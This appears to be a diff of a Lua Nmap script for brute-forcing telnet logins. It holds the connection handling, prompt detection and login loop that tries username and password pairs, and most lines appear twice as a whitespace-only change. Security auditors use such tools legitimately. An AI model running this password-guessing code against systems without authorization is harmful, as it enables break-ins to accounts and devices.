local soc, _, proto = comm.tryssl(host, port, "\n", {timeout=telnet_timeout})
if not soc then return nil end
soc:close()
return setmetatable({
host = host,
port = port,
proto = proto,
workers = setmetatable({}, { __mode = "k" })
},
{ __index = Target.methods } )
local soc, _, proto = comm.tryssl(host, port, "\n", {timeout=telnet_timeout})
if not soc then return nil end
soc:close()
return setmetatable({
host = host,
port = port,
proto = proto,
workers = setmetatable({}, { __mode = "k" })
},
{ __index = Target.methods } )
end
@@ -327,8 +327,8 @@ end
--
-- @param self Target object
Target.methods.worker = function (self)
local thread = coroutine.running()
self.workers[thread] = self.workers[thread] or {}
local thread = coroutine.running()
self.workers[thread] = self.workers[thread] or {}
end
@@ -340,19 +340,19 @@ end
-- @return Status (true or false)
-- @return Connection if the operation was successful; error code otherwise
Target.methods.attach = function (self)
local worker = self.workers[coroutine.running()]
local conn = worker.conn
or Connection.new(self.host, self.port, self.proto)
if not conn then return false, "Unable to allocate connection" end
worker.conn = conn
local worker = self.workers[coroutine.running()]
local conn = worker.conn
or Connection.new(self.host, self.port, self.proto)
if not conn then return false, "Unable to allocate connection" end
worker.conn = conn
if conn.error then conn:close() end
if not conn.isopen then
local status, err = conn:connect()
if not status then return false, err end
end
if conn.error then conn:close() end
if not conn.isopen then
local status, err = conn:connect()
if not status then return false, err end
end
return true, conn
return true, conn
end
@@ -363,10 +363,10 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Target.methods.detach = function (self)
local conn = self.workers[coroutine.running()].conn
local status, response = true, nil
if conn and conn.error then status, response = conn:close() end
return status, response
local conn = self.workers[coroutine.running()].conn
local status, response = true, nil
if conn and conn.error then status, response = conn:close() end
return status, response
end
@@ -377,8 +377,8 @@ end
-- @param inuse Whether the worker is in use (true or false)
-- @return inuse
Target.methods.inuse = function (self, inuse)
self.workers[coroutine.running()].inuse = inuse
return inuse
self.workers[coroutine.running()].inuse = inuse
return inuse
end
@@ -388,11 +388,11 @@ end
-- @param self Target object
-- @return Verdict (true or false)
Target.methods.idle = function (self)
local idle = true
for t, w in pairs(self.workers) do
idle = idle and (not w.inuse or coroutine.status(t) == "dead")
end
return idle
local idle = true
for t, w in pairs(self.workers) do
idle = idle and (not w.inuse or coroutine.status(t) == "dead")
end
return idle
end
@@ -409,16 +409,16 @@ local Driver = { methods = {} }
-- @param target instance of a Target class
-- @return Driver object or nil (if the operation failed)
Driver.new = function (self, host, port, target)
assert(host == target.host and port == target.port, "Target mismatch")
target:worker()
return setmetatable({
target = target,
connect = telnet_autosize
and Driver.methods.connect_autosize
or Driver.methods.connect_simple,
thread_exit = nmap.condvar(target)
},
{ __index = Driver.methods } )
assert(host == target.host and port == target.port, "Target mismatch")
target:worker()
return setmetatable({
target = target,
connect = telnet_autosize
and Driver.methods.connect_autosize
or Driver.methods.connect_simple,
thread_exit = nmap.condvar(target)
},
{ __index = Driver.methods } )
end
@@ -429,13 +429,13 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Driver.methods.connect_simple = function (self)
assert(not self.conn, "Multiple connections attempted")
local status, response = self.target:attach()
if status then
self.conn = response
response = nil
end
return status, response
assert(not self.conn, "Multiple connections attempted")
local status, response = self.target:attach()
if status then
self.conn = response
response = nil
end
return status, response
end
@@ -446,26 +446,26 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Driver.methods.connect_autosize = function (self)
assert(not self.conn, "Multiple connections attempted")
self.target:inuse(true)
local status, response = self.target:attach()
if status then
-- connected to the target
self.conn = response
if self:prompt() then
-- successfully reached login prompt
return true, nil
end
-- connected but turned away
self.target:detach()
end
-- let's park the thread here till all the functioning threads finish
self.target:inuse(false)
print_debug(detail_debug, "Retiring %s", tostring(coroutine.running()))
while not self.target:idle() do self.thread_exit("wait") end
-- pretend that it connected
self.conn = Connection.GHOST
return true, nil
assert(not self.conn, "Multiple connections attempted")
self.target:inuse(true)
local status, response = self.target:attach()
if status then
-- connected to the target
self.conn = response
if self:prompt() then
-- successfully reached login prompt
return true, nil
end
-- connected but turned away
self.target:detach()
end
-- let's park the thread here till all the functioning threads finish
self.target:inuse(false)
print_debug(detail_debug, "Retiring %s", tostring(coroutine.running()))
while not self.target:idle() do self.thread_exit("wait") end
-- pretend that it connected
self.conn = Connection.GHOST
return true, nil
end
@@ -476,13 +476,13 @@ end
-- @return Status (true or false)
-- @return nil if the operation was successful; error code otherwise
Driver.methods.disconnect = function (self)
assert(self.conn, "Attempt to disconnect non-existing connection")
if self.conn.isopen and not self.conn.error then
-- try to reach new login prompt
self:prompt()
end
self.conn = nil
return self.target:detach()
assert(self.conn, "Attempt to disconnect non-existing connection")
if self.conn.isopen and not self.conn.error then
-- try to reach new login prompt
self:prompt()
end
self.conn = nil
return self.target:detach()
end
@@ -492,16 +492,16 @@ end
-- @param self Driver object
-- @return line Reached prompt or nil
Driver.methods.prompt = function (self)
assert(self.conn, "Attempt to use disconnected driver")
local conn = self.conn
local line
repeat
line = conn:get_line()
until not line
or is_username_prompt(line)
or is_password_prompt(line)
or not conn:discard_line()
return line
assert(self.conn, "Attempt to use disconnected driver")
local conn = self.conn
local line
repeat
line = conn:get_line()
until not line
or is_username_prompt(line)
or is_password_prompt(line)
or not conn:discard_line()
return line
end
@@ -513,181 +513,181 @@ end
-- @return instance of brute.Account if the operation was successful;
-- instance of brute.Error otherwise
Driver.methods.login = function (self, username, password)
assert(self.conn, "Attempt to use disconnected driver")
local sent_username = self.target.passonly
local sent_password = false
local conn = self.conn
assert(self.conn, "Attempt to use disconnected driver")
local sent_username = self.target.passonly
local sent_password = false
local conn = self.conn
local loc = " in " .. tostring(coroutine.running())
local loc = " in " .. tostring(coroutine.running())
local connection_error = function (msg)
print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setRetry(true)
return false, err
end
local connection_error = function (msg)
print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setRetry(true)
return false, err
end
local passonly_error = function ()
local msg = "Password prompt encountered"
print_debug(critical_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setAbort(true)
return false, err
end
local passonly_error = function ()
local msg = "Password prompt encountered"
print_debug(critical_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setAbort(true)
return false, err
end
local username_error = function ()
local msg = "Invalid username encountered"
print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setInvalidAccount(username)
return false, err
end
local username_error = function ()
local msg = "Invalid username encountered"
print_debug(detail_debug, msg .. loc)
local err = brute.Error:new(msg)
err:setInvalidAccount(username)
return false, err
end
local login_error = function ()
local msg = "Login failed"
print_debug(detail_debug, msg .. loc)
return false, brute.Error:new(msg)
end
local login_error = function ()
local msg = "Login failed"
print_debug(detail_debug, msg .. loc)
return false, brute.Error:new(msg)
end
local login_success = function ()
local msg = "Login succeeded"
print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, password, "OPEN")
end
local login_success = function ()
local msg = "Login succeeded"
print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, password, "OPEN")
end
local login_no_password = function ()
local msg = "Login succeeded without password"
print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, "<none>", "OPEN")
end
local login_no_password = function ()
local msg = "Login succeeded without password"
print_debug(detail_debug, msg .. loc)
return true, brute.Account:new(username, "<none>", "OPEN")
end
print_debug(detail_debug, "Login attempt %s:%s%s", username, password, loc)
print_debug(detail_debug, "Login attempt %s:%s%s", username, password, loc)
if conn == Connection.GHOST then
-- reached when auto-sizing is enabled and all worker threads
-- failed
return connection_error("Service unreachable")
end
if conn == Connection.GHOST then
-- reached when auto-sizing is enabled and all worker threads
-- failed
return connection_error("Service unreachable")
end
-- username has not yet been sent
while not sent_username do
local line = conn:get_line()
if not line then
-- stopped receiving data
return connection_error("Login prompt not reached")
end
-- username has not yet been sent
while not sent_username do
local line = conn:get_line()
if not line then
-- stopped receiving data
return connection_error("Login prompt not reached")
end
if is_username_prompt(line) then
-- being prompted for a username
conn:discard_line()
print_debug(detail_debug, "Sending username" .. loc)
if not conn:send_line(username) then
return connection_error(conn.error)
end
sent_username = true
if conn:get_line() == username then
-- ignore; remote echo of the username in effect
conn:discard_line()
end
if is_username_prompt(line) then
-- being prompted for a username
conn:discard_line()
print_debug(detail_debug, "Sending username" .. loc)
if not conn:send_line(username) then
return connection_error(conn.error)
end
sent_username = true
if conn:get_line() == username then
-- ignore; remote echo of the username in effect
conn:discard_line()
end
elseif is_password_prompt(line) then
-- looks like 'password only' support
return passonly_error()
elseif is_password_prompt(line) then
-- looks like 'password only' support
return passonly_error()
else
-- ignore; insignificant response line
conn:discard_line()
end
end
else
-- ignore; insignificant response line
conn:discard_line()
end
end
-- username has been already sent
while not sent_password do
local line = conn:get_line()
if not line then
-- remote host disconnected
return connection_error("Password prompt not reached")
end
-- username has been already sent
while not sent_password do
local line = conn:get_line()
if not line then
-- remote host disconnected
return connection_error("Password prompt not reached")
end
if is_login_success(line) then
-- successful login without a password
conn:close()
return login_no_password()
if is_login_success(line) then
-- successful login without a password
conn:close()
return login_no_password()
elseif is_password_prompt(line) then
-- being prompted for a password
conn:discard_line()
print_debug(detail_debug, "Sending password" .. loc)
if not conn:send_line(password) then
return connection_error(conn.error)
end
sent_password = true
elseif is_password_prompt(line) then
-- being prompted for a password
conn:discard_line()
print_debug(detail_debug, "Sending password" .. loc)
if not conn:send_line(password) then
return connection_error(conn.error)
end
sent_password = true
elseif is_login_failure(line) then
-- failed login without a password; explicitly told so
conn:discard_line()
return username_error()
elseif is_login_failure(line) then
-- failed login without a password; explicitly told so
conn:discard_line()
return username_error()
elseif is_username_prompt(line) then
-- failed login without a password; prompted again for a username
return username_error()
elseif is_username_prompt(line) then
-- failed login without a password; prompted again for a username
return username_error()
else
-- ignore; insignificant response line
conn:discard_line()
end
else
-- ignore; insignificant response line
conn:discard_line()
end
end
end
-- password has been already sent
while true do
local line = conn:get_line()
if not line then
-- remote host disconnected
return connection_error("Login not completed")
end
-- password has been already sent
while true do
local line = conn:get_line()
if not line then
-- remote host disconnected
return connection_error("Login not completed")
end
if is_login_success(line) then
-- successful login
conn:close()
return login_success()
if is_login_success(line) then
-- successful login
conn:close()
return login_success()
elseif is_login_failure(line) then
-- failed login; explicitly told so
conn:discard_line()
return login_error()
elseif is_login_failure(line) then
-- failed login; explicitly told so
conn:discard_line()
return login_error()
elseif is_password_prompt(line) or is_username_prompt(line) then
-- failed login; prompted again for credentials
return login_error()
elseif is_password_prompt(line) or is_username_prompt(line) then
-- failed login; prompted again for credentials
return login_error()
else
-- ignore; insignificant response line
conn:discard_line()
end
else
-- ignore; insignificant response line
conn:discard_line()
end
end
end
-- unreachable code
assert(false, "Reached unreachable code")
-- unreachable code
assert(false, "Reached unreachable code")
end
action = function (host, port)
local ts, tserror = stdnse.parse_timespec(arg_timeout)
if not ts then
return stdnse.format_output(false, "Invalid timeout value: " .. tserror)
end
telnet_timeout = 1000 * ts
telnet_autosize = arg_autosize:lower() == "true"
local ts, tserror = stdnse.parse_timespec(arg_timeout)
if not ts then
return stdnse.format_output(false, "Invalid timeout value: " .. tserror)
end
telnet_timeout = 1000 * ts
telnet_autosize = arg_autosize:lower() == "true"
local target = Target.new(host, port)
if not target then
return stdnse.format_output(false, "Unable to connect to the target")
end
local target = Target.new(host, port)
if not target then
return stdnse.format_output(false, "Unable to connect to the target")
end
local engine = brute.Engine:new(Driver, host, port, target)
engine.options.script_name = SCRIPT_NAME
target.passonly = engine.options.passonly
local _, result = engine:start()
return result
local engine = brute.Engine:new(Driver, host, port, target)
engine.options.script_name = SCRIPT_NAME
target.passonly = engine.options.passonly
local _, result = engine:start()
return result
end